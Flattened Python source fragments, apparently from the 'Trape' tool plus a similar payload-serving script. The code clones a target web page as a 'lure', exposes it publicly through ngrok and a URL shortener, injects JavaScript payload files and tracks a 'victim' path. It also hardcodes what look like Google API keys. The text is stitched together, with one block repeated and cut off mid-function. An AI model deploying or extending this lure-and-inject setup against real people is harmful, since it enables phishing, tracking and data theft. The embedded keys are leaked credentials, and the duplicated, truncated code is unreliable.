def main(args): if (args.payload is None) and (args.worker is None): print ("Required Payload (-P) or Service Worker (-S)!") return else: if args.payload is not None: if not (os.path.exists("payloads/" + args.payload + ".js")): print ("Payload \"%s\" not exists" % args.payload) return if args.worker is not None: print ("Check worker") if not (os.path.exists("workers/" + args.worker + ".js")): print ("Worker \"%s\" not exists" % args.worker) return #start ngrok lngrok = "" if args.ngrok: if (os.path.exists("ngroktoken")): authtoken = open("ngroktoken",'r').read().strip() lngrok = ngrok(authtoken, str(args.port)) NgrokURL = lngrok.start() print ("Public URL: " + NgrokURL) if (args.shortner): print ("Short URL: " + core.urlshortner.tinyUrl(NgrokURL)) else: print ("ERROR: ngrok auth token not found! Please get your token from https://dashboard.ngrok.com/auth and save it into a file named ngroktoken.") return # Heroku support port = int(os.environ.get('PORT', 0)) if (port == 0): port = int(args.port) core.httpserver.startServer(args.url, port, args.payload, args.worker) if args.ngrok: lngrok.stop() print ('ngrok process killed.')
def __init__(self, stat = 0): self.name_trape = "Trape" self.version = "2.0" self.stats_path = utils.generateToken(7) self.home_path = utils.generateToken(18) self.logout_path = utils.generateToken(6) self.remove_path = utils.generateToken(14) self.injectURL = utils.generateToken(12) + '.js' self.stats_key = utils.generateToken(24) self.date_start = time.strftime("%Y-%m-%d - %H:%M:%S") self.stat = stat self.localIp = '127.0.0.1' self.nGrokUrl = '' self.JSFiles = ({"path" : "base.js", "src" : utils.generateToken(12)},{"path" : "libs.min.js", "src" : utils.generateToken(12)},{"path" : "login.js", "src" : utils.generateToken(12)},{"path" : "payload.js", "src" : utils.generateToken(12)},{"path" : "trape.js", "src" : utils.generateToken(12)},{"path" : "vscript.js", "src" : utils.generateToken(12)},) self.CSSFiles = ({"path" : "static/img/favicon.ico", "src" : utils.generateToken(12)},{"path" : "static/img/favicon.png", "src" : utils.generateToken(12)},{"path" : "static/css/base-icons.css", "src" : utils.generateToken(12)},{"path" : "static/css/styles.css", "src" : utils.generateToken(12)},{"path" : "static/css/normalize.min.css", "src" : utils.generateToken(12)},{"path": "static/css/services-icons.css", "src" : utils.generateToken(12)},) if self.stat == 1: c = httplib.HTTPConnection('www.google.com', timeout=5) try: c.request("HEAD", "/") c.close() except Exception as e: c.close() utils.Go("\033[H\033[J") utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "NOTICE: " + utils.Color['white'] + "Trape needs Internet connection for working" + "\n\t") sys.exit(0) if (not(os.path.exists("trape.config"))): self.trape_config() try: config_trape = json.load(open("trape.config")) except Exception as error: os.remove('trape.config') self.trape_config() self.ngrok = config_trape['ngrok_token'] self.gmaps = config_trape['gmaps_api_key'] if self.gmaps == '': self.gmaps = 'AIzaSyA30wEa2DwUuddmNTHvoprhnrB2w_aCWbs' self.googl = config_trape['gshortener_api_key'] if self.googl == '': self.googl = 'AIzaSyDHMDTOGo9L1OBl5vRxOVM6vpXOXVp5jCc' parser = argparse.ArgumentParser("python trape.py -u <<Url>> -p <<Port>>", version=self.version) parser.add_argument('-u', '--url', dest='url', help='Put the web page url to clone') parser.add_argument('-p', '--port', dest='port', help='Insert your port') parser.add_argument('-ak', '--accesskey', dest='accesskey', help='Insert your custom key access') parser.add_argument('-l', '--local', dest='local', help='Insert your home file') parser.add_argument('-n', '--ngrok', dest='ngrok', help='Insert your ngrok Authtoken', action='store_true') parser.add_argument('-ic', '--injectcode', dest='injc', help='Insert your custom REST API path') parser.add_argument('-ud', '--update', dest='update', help='Update trape to the latest version') options = parser.parse_args() self.type_lure = 'global' if options.url is None: utils.Go("\033[H\033[J") utils.Go("----------------------------------------------") utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white']) utils.Go("----------------------------------------------") utils.Go("| v" + utils.Color['redBold'] + "2.0" + utils.Color['white'] + " |") utils.Go("--------" + "\n") utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['greenBold'] + "!" + utils.Color['whiteBold'] + "]" + " " + utils.Color['white'] + "Enter the information requested below to complete the execution" + utils.Color['white']) utils.Go("") options.url = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) if options.port is None: options.port = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) while utils.checkPort(int(options.port)) == False: utils.Go("\033[H\033[J") utils.Go("----------------------------------------------") utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white']) utils.Go("----------------------------------------------") utils.Go("\n") utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR:" + " " + utils.Color['whiteBold'] + "The port: " + options.port + utils.Color['white'] + " " + "is not available, It was previously used (" + utils.Color['yellow'] + "Use another port" + utils.Text['end'] + ")" + "\n\n") options.port = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) #while utils.checkUrl(str(options.url)) == False: options.url = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) utils.Go("") utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Successful " + utils.Color['greenBold'] + "startup" + utils.Color['white'] + ", get lucky on the way!" + utils.Color['white']) utils.Go("") time.sleep(0.1) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) self.localIp = s.getsockname()[0] self.app_port = int(options.port) self.url_to_clone = str(options.url) if self.url_to_clone[0:4] != 'http': self.url_to_clone = 'http://' + self.url_to_clone self.victim_path = options.url.replace("http://", "").replace("https://", "") if (options.ngrok or (self.ngrok != "")): if self.ngrok == '': utils.Go("\033[H\033[J") self.ngrok = raw_input("What is your nGrok token?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) if (self.ngrok != ''): from core.ngrok import ngrok import os.path as path v_ngrok = ngrok(self.ngrok, self.app_port, stat, self.stats_path) else: utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + "Your nGrok authtoken can't be empty") # Custom name of REST API if (options.injc): self.injectURL = options.injc # Custom access token if (options.accesskey): self.stats_key = options.accesskey # Check current updates if (options.update): utils.Go("\033[H\033[J") utils.Go("Updating..." + " " + utils.Color['blue'] + "trape" + utils.Color['white'] + "..." + "\n") subprocess.check_output(["git", "reset", "--hard", "origin/master"]) subprocess.check_output(["git", "pull"]) utils.Go("Trape Updated... Please execute again...") sys.exit(0)
self.app_port = int(options.port) self.url_to_clone = str(options.url) if self.url_to_clone[0:4] != 'http': self.url_to_clone = 'http://' + self.url_to_clone self.victim_path = options.url.replace("http://", "").replace("https://", "") if (options.ngrok or (self.ngrok != "")): if self.ngrok == '': utils.Go("\033[H\033[J") self.ngrok = raw_input("What is your nGrok token?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) if (self.ngrok != ''): from core.ngrok import ngrok import os.path as path v_ngrok = ngrok(self.ngrok, self.app_port, stat, self.stats_path) else: utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + "Your nGrok authtoken can't be empty") # Custom name of REST API if (options.injc): self.injectURL = options.injc # Custom access token if (options.accesskey): self.stats_key = options.accesskey # Design principal of the header of trape def header(self): if self.stat == 1: